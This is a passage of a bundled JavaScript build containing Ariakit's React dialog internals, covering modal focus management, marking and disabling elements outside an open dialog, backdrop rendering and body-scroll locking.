6361 element[property] = value;
6362 return () => {
6363 if (!exists) {
6364 delete element[property];
6365 } else {
6366 element[property] = previousValue;
6367 }
6368 };
6369 };
6370 return orchestrate(element, property, setup2);
6371 }
6372 function assignStyle(element, style2) {
6373 if (!element) return () => {
6374 };
6375 const setup2 = () => {
6376 const prevStyle = element.style.cssText;
6377 Object.assign(element.style, style2);
6378 return () => {
6379 element.style.cssText = prevStyle;
6380 };
6381 };
6382 return orchestrate(element, "style", setup2);
6383 }
6384 function setCSSProperty(element, property, value) {
6385 if (!element) return () => {
6386 };
6387 const setup2 = () => {
6388 const previousValue = element.style.getPropertyValue(property);
6389 element.style.setProperty(property, value);
6390 return () => {
6391 if (previousValue) {
6392 element.style.setProperty(property, previousValue);
6393 } else {
6394 element.style.removeProperty(property);
6395 }
6396 };
6397 };
6398 return orchestrate(element, property, setup2);
6399 }
6400
6401 // node_modules/@ariakit/react-core/esm/__chunks/AOUGVQZ3.js
6402 var ignoreTags = ["SCRIPT", "STYLE"];
6403 function getSnapshotPropertyName(id3) {
6404 return `__ariakit-dialog-snapshot-${id3}`;
6405 }
6406 function inSnapshot(id3, element) {
6407 const doc = getDocument(element);
6408 const propertyName = getSnapshotPropertyName(id3);
6409 if (!doc.body[propertyName]) return true;
6410 do {
6411 if (element === doc.body) return false;
6412 if (element[propertyName]) return true;
6413 if (!element.parentElement) return false;
6414 element = element.parentElement;
6415 } while (true);
6416 }
6417 function isValidElement3(id3, element, ignoredElements) {
6418 if (ignoreTags.includes(element.tagName)) return false;
6419 if (!inSnapshot(id3, element)) return false;
6420 return !ignoredElements.some(
6421 (enabledElement) => enabledElement && contains(element, enabledElement)
6422 );
6423 }
6424 function walkTreeOutside(id3, elements2, callback, ancestorCallback) {
6425 for (let element of elements2) {
6426 if (!(element == null ? void 0 : element.isConnected)) continue;
6427 const hasAncestorAlready = elements2.some((maybeAncestor) => {
6428 if (!maybeAncestor) return false;
6429 if (maybeAncestor === element) return false;
6430 return maybeAncestor.contains(element);
6431 });
6432 const doc = getDocument(element);
6433 const originalElement = element;
6434 while (element.parentElement && element !== doc.body) {
6435 ancestorCallback == null ? void 0 : ancestorCallback(element.parentElement, originalElement);
6436 if (!hasAncestorAlready) {
6437 for (const child of element.parentElement.children) {
6438 if (isValidElement3(id3, child, elements2)) {
6439 callback(child, originalElement);
6440 }
6441 }
6442 }
6443 element = element.parentElement;
6444 }
6445 }
6446 }
6447 function createWalkTreeSnapshot(id3, elements2) {
6448 const { body } = getDocument(elements2[0]);
6449 const cleanups2 = [];
6450 const markElement2 = (element) => {
6451 cleanups2.push(setProperty(element, getSnapshotPropertyName(id3), true));
6452 };
6453 walkTreeOutside(id3, elements2, markElement2);
6454 return chain(setProperty(body, getSnapshotPropertyName(id3), true), () => {
6455 for (const cleanup of cleanups2) {
6456 cleanup();
6457 }
6458 });
6459 }
6460
6461 // node_modules/@ariakit/react-core/esm/__chunks/63XF7ACK.js
6462 function isBackdrop(element, ...ids) {
6463 if (!element) return false;
6464 const backdrop = element.getAttribute("data-backdrop");
6465 if (backdrop == null) return false;
6466 if (backdrop === "") return true;
6467 if (backdrop === "true") return true;
6468 if (!ids.length) return true;
6469 return ids.some((id3) => backdrop === id3);
6470 }
6471
6472 // node_modules/@ariakit/react-core/esm/__chunks/3NDVDEB4.js
6473 function getPropertyName(id3 = "", ancestor = false) {
6474 return `__ariakit-dialog-${ancestor ? "ancestor" : "outside"}${id3 ? `-${id3}` : ""}`;
6475 }
6476 function markElement(element, id3 = "") {
6477 return chain(
6478 setProperty(element, getPropertyName(), true),
6479 setProperty(element, getPropertyName(id3), true)
6480 );
6481 }
6482 function markAncestor(element, id3 = "") {
6483 return chain(
6484 setProperty(element, getPropertyName("", true), true),
6485 setProperty(element, getPropertyName(id3, true), true)
6486 );
6487 }
6488 function isElementMarked(element, id3) {
6489 const ancestorProperty = getPropertyName(id3, true);
6490 if (element[ancestorProperty]) return true;
6491 const elementProperty = getPropertyName(id3);
6492 do {
6493 if (element[elementProperty]) return true;
6494 if (!element.parentElement) return false;
6495 element = element.parentElement;
6496 } while (true);
6497 }
6498 function markTreeOutside(id3, elements2) {
6499 const cleanups2 = [];
6500 const ids = elements2.map((el) => el == null ? void 0 : el.id);
6501 walkTreeOutside(
6502 id3,
6503 elements2,
6504 (element) => {
6505 if (isBackdrop(element, ...ids)) return;
6506 cleanups2.unshift(markElement(element, id3));
6507 },
6508 (ancestor, element) => {
6509 const isAnotherDialogAncestor = element.hasAttribute("data-dialog") && element.id !== id3;
6510 if (isAnotherDialogAncestor) return;
6511 cleanups2.unshift(markAncestor(ancestor, id3));
6512 }
6513 );
6514 const restoreAccessibilityTree = () => {
6515 for (const cleanup of cleanups2) {
6516 cleanup();
6517 }
6518 };
6519 return restoreAccessibilityTree;
6520 }
6521
6522 // node_modules/@ariakit/react-core/esm/__chunks/KKITJVHA.js
6523 var import_react22 = __toESM(require_react(), 1);
6524 function isInDocument(target) {
6525 if (target.tagName === "HTML") return true;
6526 return contains(getDocument(target).body, target);
6527 }
6528 function isDisclosure(disclosure, target) {
6529 if (!disclosure) return false;
6530 if (contains(disclosure, target)) return true;
6531 const activeId = target.getAttribute("aria-activedescendant");
6532 if (activeId) {
6533 const activeElement = getDocument(disclosure).getElementById(activeId);
6534 if (activeElement) {
6535 return contains(disclosure, activeElement);
6536 }
6537 }
6538 return false;
6539 }
6540 function isMouseEventOnDialog(event, dialog) {
6541 if (!("clientY" in event)) return false;
6542 const rect = dialog.getBoundingClientRect();
6543 if (rect.width === 0 || rect.height === 0) return false;
6544 return rect.top <= event.clientY && event.clientY <= rect.top + rect.height && rect.left <= event.clientX && event.clientX <= rect.left + rect.width;
6545 }
6546 function useEventOutside({
6547 store,
6548 type,
6549 listener,
6550 capture,
6551 domReady
6552 }) {
6553 const callListener = useEvent(listener);
6554 const open = useStoreState(store, "open");
6555 const focusedRef = (0, import_react22.useRef)(false);
6556 useSafeLayoutEffect(() => {
6557 if (!open) return;
6558 if (!domReady) return;
6559 const { contentElement } = store.getState();
6560 if (!contentElement) return;
6561 const onFocus = () => {
6562 focusedRef.current = true;
6563 };
6564 contentElement.addEventListener("focusin", onFocus, true);
6565 return () => contentElement.removeEventListener("focusin", onFocus, true);
6566 }, [store, open, domReady]);
6567 (0, import_react22.useEffect)(() => {
6568 if (!open) return;
6569 const onEvent = (event) => {
6570 const { contentElement, disclosureElement } = store.getState();
6571 const target = event.target;
6572 if (!contentElement) return;
6573 if (!target) return;
6574 if (!isInDocument(target)) return;
6575 if (contains(contentElement, target)) return;
6576 if (isDisclosure(disclosureElement, target)) return;
6577 if (target.hasAttribute("data-focus-trap")) return;
6578 if (isMouseEventOnDialog(event, contentElement)) return;
6579 const focused = focusedRef.current;
6580 if (focused && !isElementMarked(target, contentElement.id)) return;
6581 if (isSafariFocusAncestor(target)) return;
6582 callListener(event);
6583 };
6584 return addGlobalEventListener(type, onEvent, capture);
6585 }, [open, capture]);
6586 }
6587 function shouldHideOnInteractOutside(hideOnInteractOutside, event) {
6588 if (typeof hideOnInteractOutside === "function") {
6589 return hideOnInteractOutside(event);
6590 }
6591 return !!hideOnInteractOutside;
6592 }
6593 function useHideOnInteractOutside(store, hideOnInteractOutside, domReady) {
6594 const open = useStoreState(store, "open");
6595 const previousMouseDownRef = usePreviousMouseDownRef(open);
6596 const props = { store, domReady, capture: true };
6597 useEventOutside({
6598 ...props,
6599 type: "click",
6600 listener: (event) => {
6601 const { contentElement } = store.getState();
6602 const previousMouseDown = previousMouseDownRef.current;
6603 if (!previousMouseDown) return;
6604 if (!isVisible(previousMouseDown)) return;
6605 if (!isElementMarked(previousMouseDown, contentElement == null ? void 0 : contentElement.id)) return;
6606 if (!shouldHideOnInteractOutside(hideOnInteractOutside, event)) return;
6607 store.hide();
6608 }
6609 });
6610 useEventOutside({
6611 ...props,
6612 type: "focusin",
6613 listener: (event) => {
6614 const { contentElement } = store.getState();
6615 if (!contentElement) return;
6616 if (event.target === getDocument(contentElement)) return;
6617 if (!shouldHideOnInteractOutside(hideOnInteractOutside, event)) return;
6618 store.hide();
6619 }
6620 });
6621 useEventOutside({
6622 ...props,
6623 type: "contextmenu",
6624 listener: (event) => {
6625 if (!shouldHideOnInteractOutside(hideOnInteractOutside, event)) return;
6626 store.hide();
6627 }
6628 });
6629 }
6630
6631 // node_modules/@ariakit/react-core/esm/__chunks/JSI7U3EA.js
6632 var import_react23 = __toESM(require_react(), 1);
6633 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
6634 var NestedDialogsContext = (0, import_react23.createContext)({});
6635 function useNestedDialogs(store) {
6636 const context = (0, import_react23.useContext)(NestedDialogsContext);
6637 const [dialogs, setDialogs] = (0, import_react23.useState)([]);
6638 const add2 = (0, import_react23.useCallback)(
6639 (dialog) => {
6640 var _a;
6641 setDialogs((dialogs2) => [...dialogs2, dialog]);
6642 return chain((_a = context.add) == null ? void 0 : _a.call(context, dialog), () => {
6643 setDialogs((dialogs2) => dialogs2.filter((d3) => d3 !== dialog));
6644 });
6645 },
6646 [context]
6647 );
6648 useSafeLayoutEffect(() => {
6649 return sync(store, ["open", "contentElement"], (state) => {
6650 var _a;
6651 if (!state.open) return;
6652 if (!state.contentElement) return;
6653 return (_a = context.add) == null ? void 0 : _a.call(context, store);
6654 });
6655 }, [store, context]);
6656 const providerValue = (0, import_react23.useMemo)(() => ({ store, add: add2 }), [store, add2]);
6657 const wrapElement = (0, import_react23.useCallback)(
6658 (element) => /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(NestedDialogsContext.Provider, { value: providerValue, children: element }),
6659 [providerValue]
6660 );
6661 return { wrapElement, nestedDialogs: dialogs };
6662 }
6663
6664 // node_modules/@ariakit/react-core/esm/__chunks/OT5RJDXG.js
6665 var import_react24 = __toESM(require_react(), 1);
6666 var import_react_dom3 = __toESM(require_react_dom(), 1);
6667 function useRootDialog({
6668 attribute,
6669 contentId,
6670 contentElement,
6671 enabled
6672 }) {
6673 const [updated, retry] = useForceUpdate();
6674 const isRootDialog = (0, import_react24.useCallback)(() => {
6675 if (!enabled) return false;
6676 if (!contentElement) return false;
6677 const { body } = getDocument(contentElement);
6678 const id3 = body.getAttribute(attribute);
6679 return !id3 || id3 === contentId;
6680 }, [updated, enabled, contentElement, attribute, contentId]);
6681 (0, import_react24.useEffect)(() => {
6682 if (!enabled) return;
6683 if (!contentId) return;
6684 if (!contentElement) return;
6685 const { body } = getDocument(contentElement);
6686 if (isRootDialog()) {
6687 body.setAttribute(attribute, contentId);
6688 return () => body.removeAttribute(attribute);
6689 }
6690 const observer = new MutationObserver(() => (0, import_react_dom3.flushSync)(retry));
6691 observer.observe(body, { attributeFilter: [attribute] });
6692 return () => observer.disconnect();
6693 }, [updated, enabled, contentId, contentElement, isRootDialog, attribute]);
6694 return isRootDialog;
6695 }
6696
6697 // node_modules/@ariakit/react-core/esm/__chunks/B6W4QFKS.js
6698 var import_react25 = __toESM(require_react(), 1);
6699 function getPaddingProperty(documentElement) {
6700 const documentLeft = documentElement.getBoundingClientRect().left;
6701 const scrollbarX = Math.round(documentLeft) + documentElement.scrollLeft;
6702 return scrollbarX ? "paddingLeft" : "paddingRight";
6703 }
6704 function usePreventBodyScroll(contentElement, contentId, enabled) {
6705 const isRootDialog = useRootDialog({
6706 attribute: "data-dialog-prevent-body-scroll",
6707 contentElement,
6708 contentId,
6709 enabled
6710 });
6711 (0, import_react25.useEffect)(() => {
6712 if (!isRootDialog()) return;
6713 if (!contentElement) return;
6714 const doc = getDocument(contentElement);
6715 const win = getWindow(contentElement);
6716 const { documentElement, body } = doc;
6717 const cssScrollbarWidth = documentElement.style.getPropertyValue("--scrollbar-width");
6718 const scrollbarWidth = cssScrollbarWidth ? Number.parseInt(cssScrollbarWidth, 10) : win.innerWidth - documentElement.clientWidth;
6719 const setScrollbarWidthProperty = () => setCSSProperty(
6720 documentElement,
6721 "--scrollbar-width",
6722 `${scrollbarWidth}px`
6723 );
6724 const paddingProperty = getPaddingProperty(documentElement);
6725 const setStyle = () => assignStyle(body, {
6726 overflow: "hidden",
6727 [paddingProperty]: `${scrollbarWidth}px`
6728 });
6729 const setIOSStyle = () => {
6730 var _a, _b;
6731 const { scrollX: scrollX2, scrollY: scrollY2, visualViewport } = win;
6732 const offsetLeft = (_a = visualViewport == null ? void 0 : visualViewport.offsetLeft) != null ? _a : 0;
6733 const offsetTop = (_b = visualViewport == null ? void 0 : visualViewport.offsetTop) != null ? _b : 0;
6734 const restoreStyle = assignStyle(body, {
6735 position: "fixed",
6736 overflow: "hidden",
6737 top: `${-(scrollY2 - Math.floor(offsetTop))}px`,
6738 left: `${-(scrollX2 - Math.floor(offsetLeft))}px`,
6739 right: "0",
6740 [paddingProperty]: `${scrollbarWidth}px`
6741 });
6742 return () => {
6743 restoreStyle();
6744 if (true) {
6745 win.scrollTo({ left: scrollX2, top: scrollY2, behavior: "instant" });
6746 }
6747 };
6748 };
6749 const isIOS = isApple() && !isMac();
6750 return chain(
6751 setScrollbarWidthProperty(),
6752 isIOS ? setIOSStyle() : setStyle()
6753 );
6754 }, [isRootDialog, contentElement]);
6755 }
6756
6757 // node_modules/@ariakit/react-core/esm/__chunks/IGR4SXG2.js
6758 function isFocusTrap(element, ...ids) {
6759 if (!element) return false;
6760 const attr = element.getAttribute("data-focus-trap");
6761 if (attr == null) return false;
6762 if (!ids.length) return true;
6763 if (attr === "") return false;
6764 return ids.some((id3) => attr === id3);
6765 }
6766
6767 // node_modules/@ariakit/react-core/esm/__chunks/677M2CI3.js
6768 function supportsInert() {
6769 return "inert" in HTMLElement.prototype;
6770 }
6771
6772 // node_modules/@ariakit/react-core/esm/__chunks/S7U6BLGA.js
6773 function hideElementFromAccessibilityTree(element) {
6774 return setAttribute(element, "aria-hidden", "true");
6775 }
6776
6777 // node_modules/@ariakit/react-core/esm/__chunks/Z5GCVBAY.js
6778 function disableTree(element, ignoredElements) {
6779 if (!("style" in element)) return noop;
6780 if (supportsInert()) {
6781 return setProperty(element, "inert", true);
6782 }
6783 const tabbableElements = getAllTabbableIn(element, true);
6784 const enableElements = tabbableElements.map((element2) => {
6785 if (ignoredElements == null ? void 0 : ignoredElements.some((el) => el && contains(el, element2))) return noop;
6786 const restoreFocusMethod = orchestrate(element2, "focus", () => {
6787 element2.focus = noop;
6788 return () => {
6789 delete element2.focus;
6790 };
6791 });
6792 return chain(setAttribute(element2, "tabindex", "-1"), restoreFocusMethod);
6793 });
6794 return chain(
6795 ...enableElements,
6796 hideElementFromAccessibilityTree(element),
6797 assignStyle(element, {
6798 pointerEvents: "none",
6799 userSelect: "none",
6800 cursor: "default"
6801 })
6802 );
6803 }
6804 function disableTreeOutside(id3, elements2) {
6805 const cleanups2 = [];
6806 const ids = elements2.map((el) => el == null ? void 0 : el.id);
6807 walkTreeOutside(
6808 id3,
6809 elements2,
6810 (element) => {
6811 if (isBackdrop(element, ...ids)) return;
6812 if (isFocusTrap(element, ...ids)) return;
6813 cleanups2.unshift(disableTree(element, elements2));
6814 },
6815 (element) => {
6816 if (!element.hasAttribute("role")) return;
6817 if (elements2.some((el) => el && contains(el, element))) return;
6818 cleanups2.unshift(setAttribute(element, "role", "none"));
6819 }
6820 );
6821 const restoreTreeOutside = () => {
6822 for (const cleanup of cleanups2) {
6823 cleanup();
6824 }
6825 };
6826 return restoreTreeOutside;
6827 }
6828
6829 // node_modules/@ariakit/react-core/esm/__chunks/JG4VNI52.js
6830 var TagName18 = "div";
6831 var elements = [
6832 "a",
6833 "button",
6834 "details",
6835 "dialog",
6836 "div",
6837 "form",
6838 "h1",
6839 "h2",
6840 "h3",
6841 "h4",
6842 "h5",
6843 "h6",
6844 "header",
6845 "img",
6846 "input",
6847 "label",
6848 "li",
6849 "nav",
6850 "ol",
6851 "p",
6852 "section",
6853 "select",
6854 "span",
6855 "summary",
6856 "textarea",
6857 "ul",
6858 "svg"
6859 ];
6860 var useRole = createHook(
6861 function useRole2(props) {
6862 return props;
6863 }
6864 );
6865 var Role = forwardRef2(
6866 // @ts-expect-error
6867 function Role2(props) {
6868 return createElement(TagName18, props);
6869 }
6870 );
6871 Object.assign(
6872 Role,
6873 elements.reduce((acc, element) => {
6874 acc[element] = forwardRef2(function Role3(props) {
6875 return createElement(element, props);
6876 });
6877 return acc;
6878 }, {})
6879 );
6880
6881 // node_modules/@ariakit/react-core/esm/__chunks/P45QRJLH.js
6882 var import_react26 = __toESM(require_react(), 1);
6883 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
6884 function DialogBackdrop({
6885 store,
6886 backdrop,
6887 alwaysVisible,
6888 hidden
6889 }) {
6890 const ref = (0, import_react26.useRef)(null);
6891 const disclosure = useDisclosureStore({ disclosure: store });
6892 const contentElement = useStoreState(store, "contentElement");
6893 (0, import_react26.useEffect)(() => {
6894 const backdrop2 = ref.current;
6895 const dialog = contentElement;
6896 if (!backdrop2) return;
6897 if (!dialog) return;
6898 backdrop2.style.zIndex = getComputedStyle(dialog).zIndex;
6899 }, [contentElement]);
6900 useSafeLayoutEffect(() => {
6901 const id3 = contentElement == null ? void 0 : contentElement.id;
6902 if (!id3) return;
6903 const backdrop2 = ref.current;
6904 if (!backdrop2) return;
6905 return markAncestor(backdrop2, id3);
6906 }, [contentElement]);
6907 const props = useDisclosureContent({
6908 ref,
6909 store: disclosure,
6910 role: "presentation",
6911 "data-backdrop": (contentElement == null ? void 0 : contentElement.id) || "",
6912 alwaysVisible,
6913 hidden: hidden != null ? hidden : void 0,
6914 style: {
6915 position: "fixed",
6916 top: 0,
6917 right: 0,
6918 bottom: 0,
6919 left: 0
6920 }
6921 });
6922 if (!backdrop) return null;
6923 if ((0, import_react26.isValidElement)(backdrop)) {
6924 return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(Role, { ...props, render: backdrop });
6925 }
6926 const Component9 = typeof backdrop !== "boolean" ? backdrop : "div";
6927 return /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(Role, { ...props, render: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(Component9, {}) });
6928 }
6929
6930 // node_modules/@ariakit/core/esm/__chunks/KMAUV3TY.js
6931 function createDialogStore(props = {}) {
6932 return createDisclosureStore(props);
6933 }
6934
6935 // node_modules/@ariakit/react-core/esm/__chunks/4NYSH4UO.js
6936 function useDialogStoreProps(store, update, props) {
6937 return useDisclosureStoreProps(store, update, props);
6938 }
6939 function useDialogStore(props = {}) {
6940 const [store, update] = useStore(createDialogStore, props);
6941 return useDialogStoreProps(store, update, props);
6942 }
6943
6944 // node_modules/@ariakit/react-core/esm/__chunks/Z32PU2LQ.js
6945 var import_react27 = __toESM(require_react(), 1);
6946 var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
6947 var TagName19 = "div";
6948 var isSafariBrowser2 = isSafari();
6949 function isAlreadyFocusingAnotherElement(dialog) {
6950 const activeElement = getActiveElement();
6951 if (!activeElement) return false;
6952 if (dialog && contains(dialog, activeElement)) return false;
6953 if (isFocusable(activeElement)) return true;
6954 return false;
6955 }
6956 function getElementFromProp(prop, focusable = false) {
6957 if (!prop) return null;
6958 const element = "current" in prop ? prop.current : prop;
6959 if (!element) return null;
6960 if (focusable) return isFocusable(element) ? element : null;
6961 return element;
6962 }
6963 var useDialog = createHook(function useDialog2({
6964 store: storeProp,
6965 open: openProp,
6966 onClose,
6967 focusable = true,
6968 modal = true,
6969 portal = !!modal,
6970 backdrop = !!modal,
6971 hideOnEscape = true,
6972 hideOnInteractOutside = true,
6973 getPersistentElements,
6974 preventBodyScroll = !!modal,
6975 autoFocusOnShow = true,
6976 autoFocusOnHide = true,
6977 initialFocus,
6978 finalFocus,
6979 unmountOnHide,
6980 unstable_treeSnapshotKey,
6981 ...props
6982 }) {
6983 const context = useDialogProviderContext();
6984 const ref = (0, import_react27.useRef)(null);
6985 const store = useDialogStore({
6986 store: storeProp || context,
6987 open: openProp,
6988 setOpen(open2) {
6989 if (open2) return;
6990 const dialog = ref.current;
6991 if (!dialog) return;
6992 const event = new Event("close", { bubbles: false, cancelable: true });
6993 if (onClose) {
6994 dialog.addEventListener("close", onClose, { once: true });
6995 }
6996 dialog.dispatchEvent(event);
6997 if (!event.defaultPrevented) return;
6998 store.setOpen(true);
6999 }
7000 });
7001 const { portalRef, domReady } = usePortalRef(portal, props.portalRef);
7002 const preserveTabOrderProp = props.preserveTabOrder;
7003 const preserveTabOrder = useStoreState(
7004 store,
7005 (state) => preserveTabOrderProp && !modal && state.mounted
7006 );
7007 const id3 = useId(props.id);
7008 const open = useStoreState(store, "open");
7009 const mounted = useStoreState(store, "mounted");
7010 const contentElement = useStoreState(store, "contentElement");
7011 const hidden = isHidden(mounted, props.hidden, props.alwaysVisible);
7012 usePreventBodyScroll(contentElement, id3, preventBodyScroll && !hidden);
7013 useHideOnInteractOutside(store, hideOnInteractOutside, domReady);
7014 const { wrapElement, nestedDialogs } = useNestedDialogs(store);
7015 props = useWrapElement(props, wrapElement, [wrapElement]);
7016 useSafeLayoutEffect(() => {
7017 if (!open) return;
7018 const dialog = ref.current;
7019 const activeElement = getActiveElement(dialog, true);
7020 if (!activeElement) return;
7021 if (activeElement.tagName === "BODY") return;
7022 if (dialog && contains(dialog, activeElement)) return;
7023 store.setDisclosureElement(activeElement);
7024 }, [store, open]);
7025 if (isSafariBrowser2) {
7026 (0, import_react27.useEffect)(() => {
7027 if (!mounted) return;
7028 const { disclosureElement } = store.getState();
7029 if (!disclosureElement) return;
7030 if (!isButton(disclosureElement)) return;
7031 const onMouseDown = () => {
7032 let receivedFocus = false;
7033 const onFocus = () => {
7034 receivedFocus = true;
7035 };
7036 const options2 = { capture: true, once: true };
7037 disclosureElement.addEventListener("focusin", onFocus, options2);
7038 queueBeforeEvent(disclosureElement, "mouseup", () => {
7039 disclosureElement.removeEventListener("focusin", onFocus, true);
7040 if (receivedFocus) return;
7041 focusIfNeeded(disclosureElement);
7042 });
7043 };
7044 disclosureElement.addEventListener("mousedown", onMouseDown);
7045 return () => {
7046 disclosureElement.removeEventListener("mousedown", onMouseDown);
7047 };
7048 }, [store, mounted]);
7049 }
7050 (0, import_react27.useEffect)(() => {
7051 if (!mounted) return;
7052 if (!domReady) return;
7053 const dialog = ref.current;
7054 if (!dialog) return;
7055 const win = getWindow(dialog);
7056 const viewport = win.visualViewport || win;
7057 const setViewportHeight = () => {
7058 var _a, _b;
7059 const height = (_b = (_a = win.visualViewport) == null ? void 0 : _a.height) != null ? _b : win.innerHeight;
7060 dialog.style.setProperty("--dialog-viewport-height", `${height}px`);
7061 };
7062 setViewportHeight();
7063 viewport.addEventListener("resize", setViewportHeight);
7064 return () => {
7065 viewport.removeEventListener("resize", setViewportHeight);
7066 };
7067 }, [mounted, domReady]);
7068 (0, import_react27.useEffect)(() => {
7069 if (!modal) return;
7070 if (!mounted) return;
7071 if (!domReady) return;
7072 const dialog = ref.current;
7073 if (!dialog) return;
7074 const existingDismiss = dialog.querySelector("[data-dialog-dismiss]");
7075 if (existingDismiss) return;
7076 return prependHiddenDismiss(dialog, store.hide);
7077 }, [store, modal, mounted, domReady]);
7078 useSafeLayoutEffect(() => {
7079 if (!supportsInert()) return;
7080 if (open) return;
7081 if (!mounted) return;
7082 if (!domReady) return;
7083 const dialog = ref.current;
7084 if (!dialog) return;
7085 return disableTree(dialog);
7086 }, [open, mounted, domReady]);
7087 const canTakeTreeSnapshot = open && domReady;
7088 useSafeLayoutEffect(() => {
7089 if (!id3) return;
7090 if (!canTakeTreeSnapshot) return;
7091 const dialog = ref.current;
7092 return createWalkTreeSnapshot(id3, [dialog]);
7093 }, [id3, canTakeTreeSnapshot, unstable_treeSnapshotKey]);
7094 const getPersistentElementsProp = useEvent(getPersistentElements);
7095 useSafeLayoutEffect(() => {
7096 if (!id3) return;
7097 if (!canTakeTreeSnapshot) return;
7098 const { disclosureElement } = store.getState();
7099 const dialog = ref.current;
7100 const persistentElements = getPersistentElementsProp() || [];
7101 const allElements = [
7102 dialog,
7103 ...persistentElements,
7104 ...nestedDialogs.map((dialog2) => dialog2.getState().contentElement)
7105 ];
7106 if (modal) {
7107 return chain(
7108 markTreeOutside(id3, allElements),
7109 disableTreeOutside(id3, allElements)
7110 );
7111 }
7112 return markTreeOutside(id3, [disclosureElement, ...allElements]);
7113 }, [
7114 id3,
7115 store,
7116 canTakeTreeSnapshot,
7117 getPersistentElementsProp,
7118 nestedDialogs,
7119 modal,
7120 unstable_treeSnapshotKey
7121 ]);
7122 const mayAutoFocusOnShow = !!autoFocusOnShow;
7123 const autoFocusOnShowProp = useBooleanEvent(autoFocusOnShow);
7124 const [autoFocusEnabled, setAutoFocusEnabled] = (0, import_react27.useState)(false);
7125 (0, import_react27.useEffect)(() => {
7126 if (!open) return;
7127 if (!mayAutoFocusOnShow) return;
7128 if (!domReady) return;
7129 if (!(contentElement == null ? void 0 : contentElement.isConnected)) return;
7130 const element = getElementFromProp(initialFocus, true) || // If no initial focus is specified, we try to focus the first element
7131 // with the autofocus attribute. If it's an Ariakit component, the
7132 // Focusable component will consume the autoFocus prop and add the
7133 // data-autofocus attribute to the element instead.
7134 contentElement.querySelector(
7135 "[data-autofocus=true],[autofocus]"
7136 ) || // We have to fallback to the first focusable element otherwise portaled
7137 // dialogs with preserveTabOrder set to true will not receive focus
7138 // properly because the elements aren't tabbable until the dialog receives
7139 // focus.
7140 getFirstTabbableIn(contentElement, true, portal && preserveTabOrder) || // Finally, we fallback to the dialog element itself.
7141 contentElement;
7142 const isElementFocusable = isFocusable(element);
7143 if (!autoFocusOnShowProp(isElementFocusable ? element : null)) return;
7144 setAutoFocusEnabled(true);
7145 queueMicrotask(() => {
7146 element.focus();
7147 if (!isSafariBrowser2) return;
7148 if (!isElementFocusable) return;
7149 element.scrollIntoView({ block: "nearest", inline: "nearest" });
7150 });
7151 }, [
7152 open,
7153 mayAutoFocusOnShow,
7154 domReady,
7155 contentElement,
7156 initialFocus,
7157 portal,
7158 preserveTabOrder,
7159 autoFocusOnShowProp
7160 ]);
7161 const mayAutoFocusOnHide = !!autoFocusOnHide;
7162 const autoFocusOnHideProp = useBooleanEvent(autoFocusOnHide);
7163 const [hasOpened, setHasOpened] = (0, import_react27.useState)(false);
7164 (0, import_react27.useEffect)(() => {
7165 if (!open) return;
7166 setHasOpened(true);
7167 return () => setHasOpened(false);
7168 }, [open]);
7169 const focusOnHide = (0, import_react27.useCallback)(
7170 (dialog, retry = true) => {
7171 const { disclosureElement } = store.getState();
7172 if (isAlreadyFocusingAnotherElement(dialog)) return;
7173 let element = getElementFromProp(finalFocus) || disclosureElement;
7174 if (element == null ? void 0 : element.id) {
7175 const doc = getDocument(element);
7176 const selector2 = `[aria-activedescendant="${element.id}"]`;
7177 const composite = doc.querySelector(selector2);
7178 if (composite) {
7179 element = composite;
7180 }
7181 }
7182 if (element && !isFocusable(element)) {
7183 const maybeParentDialog = element.closest("[data-dialog]");
7184 if (maybeParentDialog == null ? void 0 : maybeParentDialog.id) {
7185 const doc = getDocument(maybeParentDialog);
7186 const selector2 = `[aria-controls~="${maybeParentDialog.id}"]`;
7187 const control = doc.querySelector(selector2);
7188 if (control) {
7189 element = control;
7190 }
7191 }
7192 }
7193 const isElementFocusable = element && isFocusable(element);
7194 if (!isElementFocusable && retry) {
7195 requestAnimationFrame(() => focusOnHide(dialog, false));
7196 return;
7197 }
7198 if (!autoFocusOnHideProp(isElementFocusable ? element : null)) return;
7199 if (!isElementFocusable) return;
7200 element == null ? void 0 : element.focus({ preventScroll: true });
7201 },
7202 [store, finalFocus, autoFocusOnHideProp]
7203 );
7204 const focusedOnHideRef = (0, import_react27.useRef)(false);
7205 useSafeLayoutEffect(() => {
7206 if (open) return;
7207 if (!hasOpened) return;
7208 if (!mayAutoFocusOnHide) return;
7209 const dialog = ref.current;
7210 focusedOnHideRef.current = true;
7211 focusOnHide(dialog);
7212 }, [open, hasOpened, domReady, mayAutoFocusOnHide, focusOnHide]);
7213 (0, import_react27.useEffect)(() => {
7214 if (!hasOpened) return;
7215 if (!mayAutoFocusOnHide) return;
7216 const dialog = ref.current;
7217 return () => {
7218 if (focusedOnHideRef.current) {
7219 focusedOnHideRef.current = false;
7220 return;
7221 }
7222 focusOnHide(dialog);
7223 };
7224 }, [hasOpened, mayAutoFocusOnHide, focusOnHide]);
7225 const hideOnEscapeProp = useBooleanEvent(hideOnEscape);
7226 (0, import_react27.useEffect)(() => {
7227 if (!domReady) return;
7228 if (!mounted) return;
7229 const onKeyDown = (event) => {
7230 if (event.key !== "Escape") return;
7231 if (event.defaultPrevented) return;
7232 const dialog = ref.current;
7233 if (!dialog) return;
7234 if (isElementMarked(dialog)) return;
7235 const target = event.target;
7236 if (!target) return;
7237 const { disclosureElement } = store.getState();
7238 const isValidTarget = () => {
7239 if (target.tagName === "BODY") return true;
7240 if (contains(dialog, target)) return true;
7241 if (!disclosureElement) return true;
7242 if (contains(disclosureElement, target)) return true;
7243 return false;
7244 };
7245 if (!isValidTarget()) return;
7246 if (!hideOnEscapeProp(event)) return;
7247 store.hide();
7248 };
7249 return addGlobalEventListener("keydown", onKeyDown, true);
7250 }, [store, domReady, mounted, hideOnEscapeProp]);
7251 props = useWrapElement(
7252 props,
7253 (element) => /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(HeadingLevel, { level: modal ? 1 : void 0, children: element }),
7254 [modal]
7255 );
7256 const hiddenProp = props.hidden;
7257 const alwaysVisible = props.alwaysVisible;
7258 props = useWrapElement(
7259 props,
7260 (element) => {
7261 if (!backdrop) return element;
7262 return /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(import_jsx_runtime14.Fragment, { children: [
